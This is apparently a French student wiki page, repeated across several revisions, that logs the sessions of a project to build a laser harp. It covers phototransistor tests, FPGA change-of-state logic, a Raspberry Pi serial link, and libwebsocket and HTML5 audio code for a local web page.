* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:12:28Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
&#36('#messages').append(&#36('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send(&#36('#message').val());
&#36('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:10:36Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

